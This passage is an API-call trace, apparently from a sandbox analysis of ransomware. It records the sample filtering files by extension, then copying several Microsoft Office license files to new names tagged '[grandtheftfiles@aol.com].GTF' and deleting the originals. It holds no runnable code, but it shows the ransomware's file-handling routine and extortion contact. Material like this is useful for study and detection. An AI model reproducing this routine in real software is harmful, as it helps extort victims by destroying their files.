	[0175.966] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.966] lstrlenW (lpString=".docx") returned 5
	[0175.966] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.966] lstrlenW (lpString=".pdf") returned 4
	[0175.966] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.966] lstrlenW (lpString=".xls") returned 4
	[0175.966] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.966] lstrlenW (lpString=".xlsx") returned 5
	[0175.966] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.966] lstrlenW (lpString=".ppt") returned 4
	[0175.966] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.966] lstrlenW (lpString=".zip") returned 4
	[0175.966] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.966] lstrlenW (lpString=".rar") returned 4
	[0175.966] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.966] lstrlenW (lpString=".bz2") returned 4
	[0175.967] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString=".7z") returned 3
	[0175.967] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.967] lstrlenW (lpString=".dbf") returned 4
	[0175.967] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.967] lstrlenW (lpString=".1cd") returned 4
	[0175.967] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.967] lstrlenW (lpString=".jpg") returned 4
	[0175.967] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.967] lstrlenW (lpString=".doc") returned 4
	[0175.967] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString=".docx") returned 5
	[0175.967] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.967] lstrlenW (lpString=".pdf") returned 4
	[0175.967] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString=".xls") returned 4
	[0175.967] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString=".xlsx") returned 5
	[0175.967] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.967] lstrlenW (lpString=".ppt") returned 4
	[0175.967] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.967] lstrlenW (lpString=".zip") returned 4
	[0175.967] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString=".rar") returned 4
	[0175.967] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.967] lstrlenW (lpString=".bz2") returned 4
	[0175.968] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.968] lstrlenW (lpString=".7z") returned 3
	[0175.968] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.968] lstrlenW (lpString=".dbf") returned 4
	[0175.968] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.968] lstrlenW (lpString=".1cd") returned 4
	[0175.968] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.968] lstrlenW (lpString=".jpg") returned 4
	[0175.968] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.968] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.968] lstrlenW (lpString="MondoR_SubTrial-pl.xrm-ms") returned 25
	[0175.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.969] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11151) returned 1
	[0175.969] CloseHandle (hObject=0x55c) returned 1
	[0175.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220
	[0175.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.969] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.970] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0175.970] GetLastError () returned 0x0
	[0175.970] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2b8f, lpOverlapped=0x0) returned 1
	[0175.973] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0175.974] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.974] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x106, lpOverlapped=0x0) returned 1
	[0175.974] SetEndOfFile (hFile=0x540) returned 1
	[0175.975] CloseHandle (hObject=0x540) returned 1
	[0175.975] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.975] SetEndOfFile (hFile=0x55c) returned 1
	[0175.978] CloseHandle (hObject=0x55c) returned 1
	[0175.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 1
	[0175.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.979] lstrlenW (lpString=".doc") returned 4
	[0175.980] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString=".docx") returned 5
	[0175.980] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.980] lstrlenW (lpString=".pdf") returned 4
	[0175.980] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString=".xls") returned 4
	[0175.980] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString=".xlsx") returned 5
	[0175.980] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.980] lstrlenW (lpString=".ppt") returned 4
	[0175.980] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.980] lstrlenW (lpString=".zip") returned 4
	[0175.980] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString=".rar") returned 4
	[0175.980] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString=".bz2") returned 4
	[0175.980] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString=".7z") returned 3
	[0175.980] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.980] lstrlenW (lpString=".dbf") returned 4
	[0175.980] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.980] lstrlenW (lpString=".1cd") returned 4
	[0175.980] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.980] lstrlenW (lpString=".jpg") returned 4
	[0175.980] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.980] lstrlenW (lpString=".doc") returned 4
	[0175.980] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.981] lstrlenW (lpString=".docx") returned 5
	[0175.981] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.981] lstrlenW (lpString=".pdf") returned 4
	[0175.981] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.981] lstrlenW (lpString=".xls") returned 4
	[0175.981] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.981] lstrlenW (lpString=".xlsx") returned 5
	[0175.981] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.981] lstrlenW (lpString=".ppt") returned 4
	[0175.981] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.981] lstrlenW (lpString=".zip") returned 4
	[0175.981] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.981] lstrlenW (lpString=".rar") returned 4
	[0175.981] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.981] lstrlenW (lpString=".bz2") returned 4
	[0175.981] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.981] lstrlenW (lpString=".7z") returned 3
	[0175.981] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.981] lstrlenW (lpString=".dbf") returned 4
	[0175.981] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.981] lstrlenW (lpString=".1cd") returned 4
	[0175.981] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75
	[0175.981] lstrlenW (lpString=".jpg") returned 4
	[0175.981] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.982] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.982] lstrlenW (lpString="MondoR_SubTrial-ppd.xrm-ms") returned 26
	[0175.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.983] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=26525) returned 1
	[0175.983] CloseHandle (hObject=0x55c) returned 1
	[0175.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220
	[0175.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.984] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.984] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0175.985] GetLastError () returned 0x0
	[0175.985] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x679d, lpOverlapped=0x0) returned 1
	[0175.989] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x67a0, lpOverlapped=0x0) returned 1
	[0175.990] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.990] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x108, lpOverlapped=0x0) returned 1
	[0175.991] SetEndOfFile (hFile=0x540) returned 1
	[0175.991] CloseHandle (hObject=0x540) returned 1
	[0175.991] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.991] SetEndOfFile (hFile=0x55c) returned 1
	[0175.994] CloseHandle (hObject=0x55c) returned 1
	[0175.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 1
	[0175.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.995] lstrlenW (lpString=".doc") returned 4
	[0175.995] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.995] lstrlenW (lpString=".docx") returned 5
	[0175.995] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.995] lstrlenW (lpString=".pdf") returned 4
	[0175.995] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.995] lstrlenW (lpString=".xls") returned 4
	[0175.995] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.995] lstrlenW (lpString=".xlsx") returned 5
	[0175.995] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.995] lstrlenW (lpString=".ppt") returned 4
	[0175.995] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.995] lstrlenW (lpString=".zip") returned 4
	[0175.996] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString=".rar") returned 4
	[0175.996] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString=".bz2") returned 4
	[0175.996] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString=".7z") returned 3
	[0175.996] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.996] lstrlenW (lpString=".dbf") returned 4
	[0175.996] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.996] lstrlenW (lpString=".1cd") returned 4
	[0175.996] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.996] lstrlenW (lpString=".jpg") returned 4
	[0175.996] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.996] lstrlenW (lpString=".doc") returned 4
	[0175.996] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString=".docx") returned 5
	[0175.996] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.996] lstrlenW (lpString=".pdf") returned 4
	[0175.996] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString=".xls") returned 4
	[0175.996] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString=".xlsx") returned 5
	[0175.996] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.996] lstrlenW (lpString=".ppt") returned 4
	[0175.996] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.996] lstrlenW (lpString=".zip") returned 4
	[0175.996] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.996] lstrlenW (lpString=".rar") returned 4
	[0175.997] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.997] lstrlenW (lpString=".bz2") returned 4
	[0175.997] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.997] lstrlenW (lpString=".7z") returned 3
	[0175.997] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.997] lstrlenW (lpString=".dbf") returned 4
	[0175.997] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.997] lstrlenW (lpString=".1cd") returned 4
	[0175.997] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76
	[0175.997] lstrlenW (lpString=".jpg") returned 4
	[0175.997] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.997] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.997] lstrlenW (lpString="MondoR_SubTrial-ul-oob.xrm-ms") returned 29
	[0175.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0176.056] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11596) returned 1
	[0176.056] CloseHandle (hObject=0x45c) returned 1
	[0176.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 0x220
	[0176.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0176.110] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.110] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0176.111] GetLastError () returned 0x0
	[0176.111] ReadFile (in: hFile=0x3e0, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d4c, lpOverlapped=0x0) returned 1
	[0176.165] WriteFile (in: hFile=0x580, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0176.166] ReadFile (in: hFile=0x3e0, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.166] WriteFile (in: hFile=0x580, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0176.166] SetEndOfFile (hFile=0x580) returned 1
	[0176.166] CloseHandle (hObject=0x580) returned 1
